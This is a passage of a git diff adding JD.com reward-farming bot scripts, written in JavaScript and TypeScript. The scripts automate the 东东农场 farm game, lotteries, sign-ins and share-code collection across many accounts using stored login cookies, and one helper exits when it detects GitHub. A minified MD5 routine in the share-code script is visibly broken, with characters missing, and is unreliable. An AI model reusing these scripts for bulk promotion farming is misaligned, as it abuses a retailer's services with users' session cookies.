$.waterFriendGotAwardRes = await request(functionId, { "version": 4, "channel": 1 }); +} +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, { "version": 5, "channel": 1 }); +} +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, { "cardType": cardType }); +} +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), { 'type': type }); +} +//浇水API +async function waterGoodForFarm() { + await $.wait(1000); + console.log('等待了1秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} +async function lotteryForTurntableFarm() { + await $.wait(2000); + console.log('等待了2秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), { type: 1, version: 4, channel: 1 }); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = { "type": type, "adId": adId, "version": 4, "channel": 1 }; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = { "type": 2, "adId": type, "version": 4, "channel": 1 }; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} +//新版助力好友信息API +async function farmAssistInit() { + const functionId = arguments.callee.name.toString(); + $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//新版领取助力奖励API +async function receiveStageEnergy() { + const functionId = arguments.callee.name.toString(); + $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = { "type": 1, "hongBaoTimes": 100, "version": 3 }; + $.waterRain = await request(functionId, body); +} +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, { "type": 1 }); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', { "type": 2 }) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), { type: 3 }); +} +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({ "version": 4 }))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId, { "version": 14, "channel": 1, "babelChannel": "120" }); +} +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', { "version": 4, "channel": 1 }); + // console.log('aa', aa); +} +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = { "shareCode": shareCode, "version": 6, "channel": 1 } + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_fruit_plant.ts b/jd_fruit_plant.ts new file mode 100644 index 0000000..6308b5e --- /dev/null +++ b/jd_fruit_plant.ts @@ -0,0 +1,46 @@ +/** + * 农场自动收+种4级 + */ + +import USER_AGENT, {o2s, requireConfig, wait} from "./TS_USER_AGENTS" +import axios from "axios"; + +let cookie: string = '', UserName: string, res: any + +!(async () => { + let cookiesArr: string[] = await requireConfig(true) + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + res = await api('initForFarm', {"version": 11, "channel": 3, "babelChannel": 0}) + if (![2, 3].includes(res.farmUserPro.treeState)) { + console.log('正在种植...') + } + if (res.farmUserPro.treeState === 2) { + res = await api('gotCouponForFarm', {"version": 11, "channel": 3, "babelChannel": 0}) + res = await api('initForFarm', {"version": 11, "channel": 3, "babelChannel": 0}) + } + if (res.farmUserPro.treeState === 3) { + let element = res.farmLevelWinGoods[4][0]; + res = await api('choiceGoodsForFarm', {"imageUrl": '', "nickName": '', "shareCode": '', "goodsType": element.type, "type": "0", "version": 11, "channel": 3, "babelChannel": 0}); + o2s(res) + await api('gotStageAwardForFarm', {"type": "4", "version": 11, "channel": 3, "babelChannel": 0}); + await api('waterGoodForFarm', {"type": "", "version": 11, "channel": 3, "babelChannel": 0}); + await api('gotStageAwardForFarm', {"type": "1", "version": 11, "channel": 3, "babelChannel": 0}); + } + } +})() + +async function api(fn: string, body: object) { + let {data} = await axios.get(`https://api.m.jd.com/client.action?functionId=${fn}&body=${JSON.stringify(body)}&client=apple&clientVersion=10.0.4&osVersion=13.7&appid=wh5&loginType=2&loginWQBiz=interact`, { + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + 'User-Agent': USER_AGENT, + } + }) + await wait(1000) + return data +} \ No newline at end of file diff --git a/jd_get_share_code.js b/jd_get_share_code.js new file mode 100644 index 0000000..e6fd8fb --- /dev/null +++ b/jd_get_share_code.js @@ -0,0 +1,756 @@ +/* +一键获取我仓库所有需要互助类脚本的互助码(邀请码)(其中京东赚赚jd_jdzz.js如果今天达到5人助力则不能提取互助码) +没必要设置(cron)定时执行,需要的时候,自己手动执行一次即可 +注:临时活动的互助码不添加到此处,如有需要请手动运行对应临时活动脚本 +更新地址:jd_get_share_code.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#获取互助码 +20 13 * * 6 jd_get_share_code.js, tag=获取互助码, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 13 * * 6" script-path=jd_get_share_code.js, tag=获取互助码 + +===============Surge================= +获取互助码 = type=cron,cronexp="20 13 * * 6",wake-system=1,timeout=3600,script-path=jd_get_share_code.js + +============小火箭========= +获取互助码 = type=cron,script-path=jd_get_share_code.js, cronexpr="20 13 * * 6", timeout=3600, enable=true + */ +const $ = new Env("获取互助码"); +const JD_API_HOST = "https://api.m.jd.com/client.action"; +let cookiesArr = [], cookie = '', message; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.log('\n注:临时活动的互助码不添加到此处,如有需要请手动运行对应临时活动脚本\n') + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + if (!$.isLogin) { + continue + } + await getShareCode() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function getJdFactory() { + return new Promise(resolve => { + $.post( + taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`$东东工厂 API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos; //任务列表 + $.taskVos.map((item) => { + if (item.taskType === 14) { + console.log( + `【京东账号${$.index}(${$.UserName})东东工厂】${item.assistTaskDetailVo.taskToken}` + ); + } + }); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }) +} +function getJxFactory(){ + const JX_API_HOST = "https://m.jingxi.com"; + + function JXGC_taskurl(functionId, body = "") { + return { + url: `${JX_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`, + headers: { + Cookie: cookie, + Host: "m.jingxi.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": + "jdpingou;iPhone;3.14.4;14.0;ae75259f6ca8378672006fc41079cd8c90c53be8;network/wifi;model/iPhone10,2;appBuild/100351;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/62;pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Accept-Language": "zh-cn", + Referer: "https://wqsd.jd.com/pingou/dream_factory/index.html", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + } + + return new Promise(resolve => { + $.get( + JXGC_taskurl( + "userinfo/GetUserInfo", + `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=` + ), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京喜工厂 API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data["ret"] === 0) { + data = data["data"]; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ""; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId; //工厂ID + $.productionId = production.productionId; //商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + // subTitle = data.user.pin; + console.log(`【京东账号${$.index}(${$.UserName})京喜工厂】${data.user.encryptPin}`); + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log( + `【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动` + ); + } else if (data.factoryList && !data.productionList) { + console.log( + `【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购` + ); + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + } + ); + }) +} + +function getJxNc(){ + const JXNC_API_HOST = "https://wq.jd.com/"; + + function JXNC_taskurl(function_path, body) { + return { + url: `${JXNC_API_HOST}cubeactive/farm/${function_path}?${body}&farm_jstoken=&phoneid=×tamp=&sceneval=2&g_login_type=1&_=${Date.now()}&g_ty=ls`, + headers: { + Cookie: cookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 